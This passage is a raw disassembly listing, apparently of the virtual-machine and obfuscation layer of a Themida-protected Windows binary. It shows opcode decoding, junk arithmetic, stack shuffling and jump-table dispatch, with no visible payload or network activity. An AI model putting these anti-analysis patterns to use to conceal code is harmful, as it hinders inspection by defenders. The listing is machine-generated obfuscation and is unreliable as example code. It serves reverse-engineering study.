loc_58D4C7: ; CODE XREF: sub_59196D:loc_596F4Dj
push esi
push edx
mov edx, 7A2044AFh
mov esi, 96B765A4h
sub esi, 74E31A34h
sub esi, edx
add esi, 74E31A34h
pop edx
inc esi
shr esi, 5
xor esi, 112D7421h
xor eax, esi
pop esi
jmp loc_5964ED
; ---------------------------------------------------------------------------
loc_58D4F4: ; CODE XREF: sub_59196D+645Cj
dec ebx
not ebx
push edi
mov edi, 6F4673AAh
inc edi
jmp loc_58CCB2
; ---------------------------------------------------------------------------
loc_58D503: ; CODE XREF: sub_59196D+5078j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D508: ; CODE XREF: sub_59196D+E7Bj
inc eax
jmp loc_5958D1
; ---------------------------------------------------------------------------
loc_58D50E: ; CODE XREF: sub_59196D+3BD8j
mov [esp+20h+var_22+2], ebx
jmp loc_594757
; ---------------------------------------------------------------------------
loc_58D516: ; CODE XREF: sub_59196D-2588j
xor ebp, 76C3E44h
jmp loc_58F91A
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58D521 proc near ; CODE XREF: sub_59196D:loc_58B536j
push ebx
mov ebx, 1F374C07h
not ebx
jmp loc_5965B3
sub_58D521 endp
; ---------------------------------------------------------------------------
loc_58D52E: ; DATA XREF: Themida_:0058B0F4o
lodsd
xor eax, ebx
push 4926h
mov [esp], esi
push ecx
mov ecx, 40489542h
jmp loc_595A99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D544: ; CODE XREF: sub_59196D-5CE4j
add esp, 4
push ebx
mov ebx, edi
jmp loc_59761A
; ---------------------------------------------------------------------------
loc_58D552: ; CODE XREF: sub_59196D+5A2Dj
mov edi, [esp+28h+var_2A+2]
add esp, 4
push eax
mov eax, 7E36022Bh
sub eax, 74121F1Ah
jmp loc_58B6F7
; ---------------------------------------------------------------------------
loc_58D568: ; CODE XREF: sub_59196D-B5Fj
sub [esp+28h+var_22+2], ebx
jmp loc_597958
; ---------------------------------------------------------------------------
loc_58D571: ; CODE XREF: sub_59196D+5307j
sub edi, 171F7C72h
push [esp+28h+var_2A+2]
mov edx, [esp+2Ch+var_2E+2]
add esp, 4
add esp, 4
xchg edi, [esp+24h+var_26+2]
mov esp, [esp+24h+var_26+2]
xor word ptr [esp+24h+var_26+2], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D596: ; CODE XREF: sub_59196D-42D1j
xor [esp+28h+var_2A+2], ecx
xor ecx, [esp+28h+var_2A+2]
pop esp
mov [esp+24h+var_26+2], eax
push ebx
mov bl, dl
mov ah, bl
pop ebx
mov bl, ah
pop eax
mov [edi+eax*4], bl
push [esp+20h+var_22+2]
pop ebx
jmp loc_58BB15
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58ED05
loc_58D5B5: ; CODE XREF: sub_58ED05+11j
push 626Ah
mov [esp+0Ch+var_C], eax
push edi
jmp loc_58D4A3
; END OF FUNCTION CHUNK FOR sub_58ED05
; ---------------------------------------------------------------------------
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D5C8: ; CODE XREF: sub_59196D:loc_58D2FDj
sub edx, 0E303587Fh
jmp loc_596B9B
; ---------------------------------------------------------------------------
loc_58D5D3: ; CODE XREF: sub_59196D-545Cj
push 6B38h
mov [esp+12h+var_12], edx
jmp loc_590A25
; ---------------------------------------------------------------------------
loc_58D5E0: ; CODE XREF: sub_59196D-638Ej
push ecx
push esp
mov ecx, [esp+20h+var_22+2]
add esp, 4
add ecx, 4
jmp loc_597BD3
; ---------------------------------------------------------------------------
loc_58D5F6: ; CODE XREF: sub_59196D-4C1Fj
mov [esp+3Eh+var_40+2], ebx
mov bl, 22h
add bl, 0FFh
not bl
add bl, 0FFh
push ecx
jmp loc_58F358
; ---------------------------------------------------------------------------
loc_58D609: ; CODE XREF: sub_59196D+1DA1j
push ebp
mov ebp, esp
push edx
mov edx, 4
add ebp, edx
jmp loc_5977B6
; ---------------------------------------------------------------------------
loc_58D619: ; CODE XREF: sub_59196D+615j
push esi
jmp loc_58B7D9
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58D61F proc near ; DATA XREF: Themida_:0058B1A8o
; FUNCTION CHUNK AT 0058D7BE SIZE 00000005 BYTES
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp+0], cl
pushf
jmp loc_58D7BE
sub_58D61F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D62E: ; CODE XREF: sub_59196D:loc_591425j
sub ecx, 7C663F5Ch
jmp loc_58E68B
; ---------------------------------------------------------------------------
loc_58D639: ; CODE XREF: sub_59196D-44F9j
pop ecx
xor edi, 63B8A05h
xor ebx, edi
pop edi
push ebx
jmp loc_591F2F
; ---------------------------------------------------------------------------
loc_58D649: ; CODE XREF: sub_59196D+1EA1j
pop ebp
push 0CBh
mov [esp+30h+var_32+2], ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 45EA4DFBh
add ebp, 82154BBh
sub ebp, 4E0BA2B2h
jmp loc_59700F
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58D671: ; DATA XREF: Themida_:0058B0C4o
push dword ptr [edi+1Ch]
add dword ptr [esp], 6A6745D2h
mov eax, [esp]
push ebx
push esp
pop ebx
push esi
mov esi, 1E555566h
jmp loc_593090
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D68C: ; CODE XREF: sub_59196D+37F9j
pop edx
mov edi, [esp+30h+var_32+2]
jmp loc_58E586
; ---------------------------------------------------------------------------
loc_58D695: ; CODE XREF: sub_59196D-5DD0j
; sub_59196D+689Aj
pop eax
sub ecx, 4
xor ecx, [esp+14h+var_16+2]
jmp loc_58D596
; ---------------------------------------------------------------------------
loc_58D6A1: ; CODE XREF: sub_59196D+4BA7j
pop ebx
sub al, 0CCh
add al, dl
jmp loc_58C26C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
lodsd
add eax, 6F8352D3h
jmp loc_5905E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D6B6: ; CODE XREF: sub_59196D+7A0j
push 602C1A8Eh
jmp loc_596D03
; ---------------------------------------------------------------------------
loc_58D6C0: ; CODE XREF: sub_59196D+41F2j
add ebp, 4
add ebp, 4
jmp loc_58FC24
; ---------------------------------------------------------------------------
loc_58D6CE: ; CODE XREF: sub_59196D+389j
; sub_59196D+32FBj
jmp loc_595292
; ---------------------------------------------------------------------------
loc_58D6D3: ; CODE XREF: sub_59196D+117j
sub ecx, 332A38A0h
add ebp, ecx
push [esp+14h+var_16+2]
mov ecx, [esp+18h+var_1A+2]
add esp, 4
add esp, 4
push esi
mov esi, 6006305Eh
jmp loc_591950
; ---------------------------------------------------------------------------
loc_58D6F8: ; CODE XREF: sub_59196D+5547j
mov [esp+14h+var_16+2], esi
jmp loc_593AE2
; ---------------------------------------------------------------------------
loc_58D700: ; CODE XREF: sub_59196D+2F6Fj
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
jmp sub_598477
; ---------------------------------------------------------------------------
loc_58D714: ; CODE XREF: sub_59196D-5B46j
; sub_59196D+170Fj
mov [esp+2Eh+var_2E], ebp
push edi
push ebx
jmp loc_59133A
; ---------------------------------------------------------------------------
loc_58D71E: ; CODE XREF: sub_59196D-606j
sub al, dl
push edx
push ebx
mov bh, 7Dh
jmp loc_593ED1
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C3EF
loc_58D729: ; CODE XREF: sub_58C3EF+6j
mov [esp+8+var_8], edx
mov edx, 14BC0307h
mov ebx, 65CE265Ch
add ebx, edx
pop edx
push ecx
mov ecx, 1
sub ebx, 9F73AB0h
sub ebx, ecx
add ebx, 9F73AB0h
mov ecx, [esp+8+var_8]
add esp, 4
push ebx
inc [esp+8+var_8]
pop ebx
sub esp, 4
mov [esp+8+var_8], edi
mov edi, 5083591Ch
jmp loc_590091
; END OF FUNCTION CHUNK FOR sub_58C3EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D76E: ; CODE XREF: sub_59196D+2682j
mov [esp+3Eh+var_40+2], ebx
mov ebx, esp
jmp loc_58EEA5
; ---------------------------------------------------------------------------
loc_58D778: ; CODE XREF: sub_59196D+3D3Bj
push ecx
mov ecx, 0A5C03A04h
xor eax, ecx
pop ecx
add ebx, eax
pop eax
xchg ebx, [esp+3Ah+var_3C+2]
jmp loc_590293
; ---------------------------------------------------------------------------
loc_58D78C: ; CODE XREF: sub_59196D-20A4j
add esi, 4
sub esi, 4
xor esi, [esp+3Ah+var_3C+2]
jmp loc_593F59
; ---------------------------------------------------------------------------
loc_58D7A0: ; CODE XREF: sub_59196D+B0Aj
sub ecx, eax
pop eax
pop edx
push ebx
push 4
pop ebx
add ecx, ebx
mov ebx, [esp+36h+var_36]
add esp, 4
xor ecx, [esp+32h+var_32]
jmp loc_58D3D9
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D61F
loc_58D7BE: ; CODE XREF: sub_58D61F+Aj
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_58D61F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D7C3: ; CODE XREF: sub_59196D-A6j
push esi
push 3D17h
mov [esp+3Ah+var_3C+2], edi
push ebx
mov ebx, 6F2033EFh
jmp loc_59494C
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58D7D7 proc near ; CODE XREF: sub_59843D-C8D3j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590132 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591334 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], edi
push ecx
mov ecx, 18683237h
mov edi, ecx
jmp loc_591334
sub_58D7D7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D7EA: ; CODE XREF: sub_59196D+15A9j
push edi
mov edi, 1A16100Bh
or edi, 42E00563h
sub edi, 222C7208h
jmp loc_58C40F
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58D801: ; DATA XREF: Themida_:0058B13Co
lodsd
push esi
mov esi, 4B9A6AB4h
add eax, 637F422Ch
sub eax, esi
sub eax, 637F422Ch
mov esi, [esp]
jmp loc_590833
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D81C: ; CODE XREF: sub_59196D+4C0j
; sub_59196D:loc_5924C7j
mov esi, 2
add eax, esi
jmp loc_5981A3
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D838: ; CODE XREF: sub_59196D+E3Cj
; sub_59196D:loc_598041j
neg bl
neg bl
jz loc_58CBA9
jmp loc_58E4EF
; ---------------------------------------------------------------------------
loc_58D847: ; CODE XREF: sub_59196D-2A15j
pop ebx
push edi
mov edi, 2
jmp loc_5960B4
; ---------------------------------------------------------------------------
loc_58D853: ; CODE XREF: sub_59196D-3306j
mov esp, [esp+42h+var_44+2]
xchg eax, [esp+42h+var_44+2]
pop esp
push [esp+3Eh+var_40+2]
mov eax, [esp+42h+var_44+2]
sub esp, 4
mov [esp+0], ebp
push esp
mov ebp, [esp+4Ah+var_4A]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_597385
; ---------------------------------------------------------------------------
loc_58D878: ; CODE XREF: sub_59196D-3F0Aj
push cx
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D880: ; CODE XREF: sub_59196D+50BCj
mov [esp+54h+var_54], edi
jmp loc_58E2C9
; ---------------------------------------------------------------------------
loc_58D888: ; CODE XREF: sub_59196D+245Fj
mov cx, word ptr [esp+54h+var_54]
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_59473D
; ---------------------------------------------------------------------------
loc_58D89E: ; CODE XREF: sub_59196D+2170j
push ecx
push 7D3Fh
mov [esp+60h+var_60], esp
add [esp+60h+var_60], 4
mov ecx, [esp+60h+var_60]
add esp, 4
push ebp
mov ebp, 4
add ecx, ebp
jmp loc_58FAF0
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FD91
loc_58D8C4: ; CODE XREF: sub_58FD91+Cj
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_58FD91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58D8C9: ; CODE XREF: sub_59196D-4EF0j
mov ebx, esi
pop esi
jmp loc_595D4A
; ---------------------------------------------------------------------------
loc_58D8D1: ; CODE XREF: sub_59196D+5B92j
add ecx, 4
add ecx, 4
xor ecx, [esp+32h+var_32]
xor [esp+32h+var_32], ecx
xor ecx, [esp+32h+var_32]
jmp loc_592CDF
; ---------------------------------------------------------------------------
loc_58D8EB: ; CODE XREF: sub_59196D-19AFj
pop ebx
push edx
push ebx
jmp sub_58EF7E
; ---------------------------------------------------------------------------
loc_58D8F3: ; CODE XREF: sub_59196D+417Bj
mov eax, [esp+36h+var_36]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+3Ah+var_3C+2]
pop esp
push 428Bh
jmp loc_596405
; ---------------------------------------------------------------------------
loc_58D913: ; CODE XREF: sub_59196D-3B04j
xor eax, 0D5B164Dh
jmp loc_5914AF
; ---------------------------------------------------------------------------
loc_58D91D: ; CODE XREF: sub_59196D-5FBBj
add edx, 31F00243h
jz loc_58C451
add edx, 16B81A31h
js loc_596972
jmp loc_5951B3
; ---------------------------------------------------------------------------
loc_58D93A: ; CODE XREF: sub_59196D-207Cj
mov esi, 767E0A13h
dec esi
jmp loc_598642
; ---------------------------------------------------------------------------
loc_58D945: ; CODE XREF: sub_59196D-A37j
xor [esp+1Ch+var_1E+2], edi
xor edi, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
sar byte ptr [esp+1Ch+var_1E+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58D957: ; CODE XREF: sub_59196D-14FFj
pop ebp
add esi, 6C907EBh
add esi, ebx
sub esi, 6C907EBh
pop ebx
add esi, 2
xchg esi, [esp+18h+var_1A+2]
jmp loc_5965CD
; ---------------------------------------------------------------------------
loc_58D975: ; CODE XREF: sub_59196D+53A1j
mov ebx, [esp+18h+var_1A+2]
add esp, 4
add ecx, 9FD3ED72h
and eax, ecx
push [esp+14h+var_16+2]
pop ecx
push ebp
jmp loc_597CAA
; ---------------------------------------------------------------------------
loc_58D98D: ; CODE XREF: sub_59196D-16DFj
mov ebp, ebx
pop ebx
sub edi, 5783014Dh
sub edi, ebp
add edi, 5783014Dh
mov ebp, [esp+14h+var_16+2]
add esp, 4
not edi
not edi
sub esp, 4
mov [esp+14h+var_16+2], ecx
jmp loc_596E32
; ---------------------------------------------------------------------------
loc_58D9B6: ; CODE XREF: sub_59196D+5494j
push eax
mov eax, 686157F5h
and esi, eax
pop eax
add esi, 300A7FADh
jbe loc_5914D6
jmp loc_592D81
; ---------------------------------------------------------------------------
loc_58D9D0: ; CODE XREF: sub_59196D+EB6j
sub eax, 54680F81h
add eax, ecx
add eax, 54680F81h
pop ecx
jmp loc_590809
; ---------------------------------------------------------------------------
loc_58D9E2: ; CODE XREF: sub_59196D-8BFj
not esi
xor esi, 10035A1Dh
sub edx, esi
pop esi
xor edx, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edx
jmp loc_597939
; ---------------------------------------------------------------------------
loc_58D9F8: ; CODE XREF: sub_59196D+3796j
pop ebp
push 6164h
jmp loc_58EDFB
; ---------------------------------------------------------------------------
loc_58DA03: ; CODE XREF: sub_59196D+2B82j
mov [esp+0Ch+var_C], edx
push ebx
mov bh, 0B9h
jmp loc_59546A
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D10E
loc_58DA0E: ; CODE XREF: sub_58D10E+Fj
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
add edx, 4
add edx, 2
xor edx, [esp+0]
jmp loc_5929FE
; END OF FUNCTION CHUNK FOR sub_58D10E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DA28: ; CODE XREF: sub_59196D-172Dj
add dl, cl
jmp loc_58DA88
; ---------------------------------------------------------------------------
loc_58DA2F: ; CODE XREF: sub_59196D+C95j
pop esp
sub eax, 4
xor eax, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], eax
xor eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp+0Ch+var_C], eax
pop edx
jmp loc_591E67
; ---------------------------------------------------------------------------
loc_58DA48: ; CODE XREF: sub_59196D-6E7j
mov [esp+8+var_8], esi
mov esi, esp
push ecx
mov ecx, 4
jmp loc_5950D7
; ---------------------------------------------------------------------------
loc_58DA58: ; CODE XREF: sub_59196D-2625j
mov esp, [esp+0Ch+var_C]
mov word ptr [esp+0Ch+var_C], cx
movzx cx, al
jmp loc_58D878
; ---------------------------------------------------------------------------
loc_58DA68: ; CODE XREF: sub_59196D+4F57j
sub esi, 78F674C1h
pop edi
jmp loc_593601
; ---------------------------------------------------------------------------
loc_58DA74: ; CODE XREF: sub_59196D+4BAj
or edi, 2ED71892h
sub edi, 7EBE4690h
add eax, edi
pop edi
jmp loc_5922D9
; ---------------------------------------------------------------------------
loc_58DA88: ; CODE XREF: sub_59196D-3F43j
add dl, 0BCh
pop ecx
xor al, dl
push [esp+0Ch+var_C]
jmp loc_59256E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58DA96: ; CODE XREF: Themida_:0058B66Bj
add [esp+4], ecx
jmp loc_58F2DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DA9F: ; CODE XREF: sub_59196D-487Aj
add edi, ebp
mov ebp, [esp+14h+var_16+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+18h+var_1A+2]
pop esp
xchg edi, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
mov cx, word ptr [esp+14h+var_16+2]
push 383Ch
mov [esp+18h+var_1A+2], esi
sub esp, 4
mov [esp+1Ch+var_1E+2], esp
push ebp
mov ebp, 4
add [esp+20h+var_1E+2], ebp
pop ebp
pop esi
jmp loc_595E39
; ---------------------------------------------------------------------------
loc_58DAE3: ; CODE XREF: sub_59196D-26C7j
add ebx, 37341A85h
dec ebx
shr ebx, 8
push edx
mov edx, 7FC587h
xor ebx, edx
jmp loc_58CCC0
; ---------------------------------------------------------------------------
loc_58DAFA: ; CODE XREF: sub_59196D-2698j
; sub_59196D+1336j
sub edx, 5B1258F4h
push ecx
mov ecx, 74C4359Eh
xor ecx, 466F0E3Fh
add ecx, 0F71D33ECh
add edx, ecx
pop ecx
jmp loc_59126D
; ---------------------------------------------------------------------------
loc_58DB1A: ; CODE XREF: sub_59196D+763j
mov edx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_594CCF
; ---------------------------------------------------------------------------
loc_58DB25: ; CODE XREF: sub_59196D-44EEj
shl dl, 8
push eax
mov al, 91h
shl al, 1
shr al, 3
add al, 4Dh
shl al, 1
jmp loc_59603A
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59128B
loc_58DB39: ; CODE XREF: sub_59128B+51j
add esp, 4
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_59128B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DB41: ; CODE XREF: sub_59196D:loc_58E9B7j
xor esi, 7A484406h
xor esi, edi
mov edi, [esp+34h+var_36+2]
add esp, 4
jmp loc_58CB99
; ---------------------------------------------------------------------------
loc_58DB57: ; CODE XREF: sub_59196D+5A56j
mov ebp, [esp+30h+var_32+2]
add esp, 4
add eax, 22E41B83h
push 4D4Ah
jmp loc_59677A
; ---------------------------------------------------------------------------
loc_58DB6C: ; CODE XREF: sub_59196D-106Bj
push 7F59h
mov [esp+34h+var_36+2], ebx
jmp loc_596824
; ---------------------------------------------------------------------------
loc_58DB79: ; CODE XREF: sub_59196D+32F5j
add [esp+34h+var_36+2], 0E150B45h
push [esp+34h+var_36+2]
pop eax
add esp, 4
sub esp, 4
mov [esp+34h+var_36+2], edx
push ebp
push ebx
jmp loc_592FEA
; ---------------------------------------------------------------------------
loc_58DB94: ; CODE XREF: sub_59196D-243Fj
mov edi, 4
add dword ptr [esp+4], 584349E2h
jmp loc_5906C8
; ---------------------------------------------------------------------------
loc_58DBA6: ; CODE XREF: sub_59196D-4F98j
pop esi
add esi, ebp
pop ebp
sub esi, 4
xchg esi, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
mov [esp+36h+var_36], ebp
mov ebp, 67280549h
add ebx, ebp
jmp loc_593616
; ---------------------------------------------------------------------------
loc_58DBC5: ; CODE XREF: sub_59196D+20C0j
pop bx
sub al, 10h
jmp loc_58CB87
; ---------------------------------------------------------------------------
loc_58DBCE: ; CODE XREF: sub_59196D+1D58j
neg eax
jo loc_596A73
sub eax, 6EF96C2Fh
js loc_58BFD9
neg eax
add eax, 7E2ABE6h
mov ebp, eax
pop eax
mov edx, ebx
pop ebx
loc_58DBEE: ; CODE XREF: sub_59196D+3309j
add ebx, 0FAAE649Eh
add ecx, ebx
pop ebx
sub edi, ecx
mov ecx, [esp+28h+var_2A+2]
add esp, 4
xchg edi, [esp+24h+var_26+2]
pop esp
mov [esp+20h+var_22+2], ebx
pop eax
push ebp
jmp loc_597BE7
; ---------------------------------------------------------------------------
loc_58DC10: ; CODE XREF: sub_59196D+3176j
mov ebp, 83030E7h
push edi
mov edi, 5D2E2C40h
xor ebp, edi
pop edi
shl ebp, 2
shl ebp, 4
jmp loc_590144
; ---------------------------------------------------------------------------
loc_58DC29: ; CODE XREF: sub_59196D-492Ej
add esi, 4
xchg esi, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
jmp loc_58E46B
; ---------------------------------------------------------------------------
loc_58DC37: ; CODE XREF: sub_59196D+11A3j
or ebx, 20AE510Ch
jno loc_594845
jmp loc_596188
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
add esp, 4
push dword ptr [esp]
pop eax
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DC52: ; CODE XREF: sub_59196D+44D5j
mov edx, 4
jmp loc_590333
; ---------------------------------------------------------------------------
loc_58DC5C: ; CODE XREF: sub_59196D-196Bj
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+20h+var_22+2]
pop esp
xor eax, [esp+1Ch+var_1E+2]
xor [esp+1Ch+var_1E+2], eax
xor eax, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
mov [esp+1Ch+var_1E+2], ecx
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58DC7F: ; CODE XREF: sub_59196D+3AFFj
mov ebx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_58CB91
; ---------------------------------------------------------------------------
loc_58DC8A: ; CODE XREF: sub_59196D+6CA9j
push edi
push ebx
mov ebx, 4C004485h
push ebp
mov ebp, ebx
mov edi, ebp
pop ebp
jmp loc_593C49
; ---------------------------------------------------------------------------
loc_58DC9C: ; CODE XREF: sub_59196D+47E2j
pop ebx
neg ebx
jmp loc_593B14
; ---------------------------------------------------------------------------
loc_58DCA4: ; CODE XREF: sub_59196D+1C38j
sub ecx, 1
dec ecx
push 0
sub [esp+20h+var_22+2], ecx
pop ecx
or ecx, 59FC7846h
not ecx
jmp loc_5946EB
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
lodsd
sub eax, 552C209Ah
add eax, ebx
push 0FD9h
mov [esp], ecx
mov ecx, 3E4D15D2h
push edx
push ecx
jmp loc_59713B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DCDD: ; CODE XREF: sub_59196D+57EAj
sub bl, 7Dh
push 1324h
mov [esp+20h+var_22+2], ecx
mov ch, 52h
add bl, ch
mov ecx, [esp+20h+var_22+2]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+24h+var_26+2]
pop esp
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
loc_58DD06: ; DATA XREF: Themida_:0058B098o
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DD16: ; CODE XREF: sub_59196D-28C7j
push 7759h
mov [esp+24h+var_26+2], edi
jmp loc_597CFD
; ---------------------------------------------------------------------------
loc_58DD23: ; CODE XREF: sub_59196D+477Fj
sub eax, ebx
jmp loc_58D053
; ---------------------------------------------------------------------------
loc_58DD2A: ; CODE XREF: sub_59196D:loc_594530j
jmp loc_58CA98
; ---------------------------------------------------------------------------
loc_58DD2F: ; CODE XREF: sub_59196D+3BB1j
dec ebx
xchg ebx, edx
push ebp
mov ebp, 2035127Ah
jmp loc_5947AB
; ---------------------------------------------------------------------------
loc_58DD3D: ; CODE XREF: sub_59196D+52A4j
xor ebp, eax
pop eax
mov eax, ebp
mov ebp, [esp+24h+var_26+2]
add esp, 4
mov edx, eax
mov eax, [esp+20h+var_22+2]
push ecx
mov ecx, esp
push ebx
push ecx
push 658E722Ah
pop ecx
or ecx, 4C4F6055h
jno loc_596564
xor ecx, 6DCF727Bh
mov ebx, ecx
add al, 2
mov ebx, eax
loc_58DD70: ; CODE XREF: sub_59196D+BA9j
push dword ptr [edi+1Ch]
popf
pop ax
adc byte ptr [esp+2Ah+var_2A], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58DD7F: ; CODE XREF: sub_59196D-3B9j
mov edi, 8A62ECAh
xor edi, 58917AEFh
not edi
shr edi, 7
jmp loc_591387
; ---------------------------------------------------------------------------
loc_58DD94: ; CODE XREF: sub_59196D-21F8j
xor [esp+2Eh+var_2E], ebp
xor ebp, [esp+2Eh+var_2E]
pop esp
mov [esp+2Ah+var_2A], ebp
push 1
push [esp+2Eh+var_2E]
mov ebp, [esp+32h+var_32]
add esp, 4
push edx
mov edx, esp
push edi
mov edi, 46507213h
neg edi
xor edi, 2F50130Fh
jmp loc_5932BE
; ---------------------------------------------------------------------------
loc_58DDC2: ; CODE XREF: sub_59196D+171Ej
xor [esp+36h+var_36], ebp
xor ebp, [esp+36h+var_36]
pop esp
shl byte ptr [esp+32h+var_32], cl
pushf
jmp loc_5935CA
; ---------------------------------------------------------------------------
loc_58DDD2: ; CODE XREF: sub_59196D:loc_58F03Cj
shl edi, 2
js loc_59044D
xor edi, 0A7B55F74h
mov ecx, ecx
mov dl, 36h
loc_58DDE5: ; CODE XREF: sub_59196D-277Fj
; sub_59196D-DF7j
add eax, 226E0CECh
jmp loc_58BF63
; ---------------------------------------------------------------------------
loc_58DDEF: ; CODE XREF: sub_59196D-5103j
; sub_59196D+270Aj
shr eax, 8
xor eax, ecx
jmp loc_591511
; ---------------------------------------------------------------------------
loc_58DDF9: ; CODE XREF: sub_59196D:loc_5909DEj
; sub_59196D+5300j
sub ebx, 4
xchg ebx, [esp+2Eh+var_2E]
pop esp
mov [esp+2Ah+var_2A], esi
jmp loc_595B4C
; ---------------------------------------------------------------------------
loc_58DE0B: ; CODE XREF: sub_59196D+589Fj
pop esi
add eax, 55EA5F45h
jmp loc_595C55
; ---------------------------------------------------------------------------
loc_58DE16: ; CODE XREF: sub_59196D+9E0j
jmp loc_592C38
; ---------------------------------------------------------------------------
loc_58DE1B: ; CODE XREF: sub_59196D-44B3j
add esi, eax
sub esi, 29720344h
pop eax
jmp loc_58FB19
; ---------------------------------------------------------------------------
loc_58DE29: ; CODE XREF: sub_59196D+322Fj
add edx, eax
jmp loc_58BFE8
; ---------------------------------------------------------------------------
loc_58DE30: ; CODE XREF: sub_59196D+D14j
pop esp
mov [esp+10h+var_12+2], edx
mov dh, 9Fh
xor al, dh
pop edx
push 46BAh
mov [esp+10h+var_12+2], edx
push eax
mov al, 55h
shr al, 6
jp loc_58BE1D
neg al
jl loc_598348
neg al
push ebx
mov bh, 6Ch
jmp loc_5933BC
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop esp
mov bh, 58h
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58DE62: ; CODE XREF: sub_59196D-5D64j
shr eax, 1
xor eax, 73C79F4h
jnp loc_58D913
xor eax, 0D5B164Dh
jmp loc_596F4D
; ---------------------------------------------------------------------------
loc_58DE79: ; CODE XREF: sub_59196D-67Bj
push ecx
push edx
sub [esp+34h+var_36+2], 630755B0h
pop ecx
jmp loc_5977FE
; ---------------------------------------------------------------------------
loc_58DE88: ; CODE XREF: sub_59196D-1D80j
push 6F2Dh
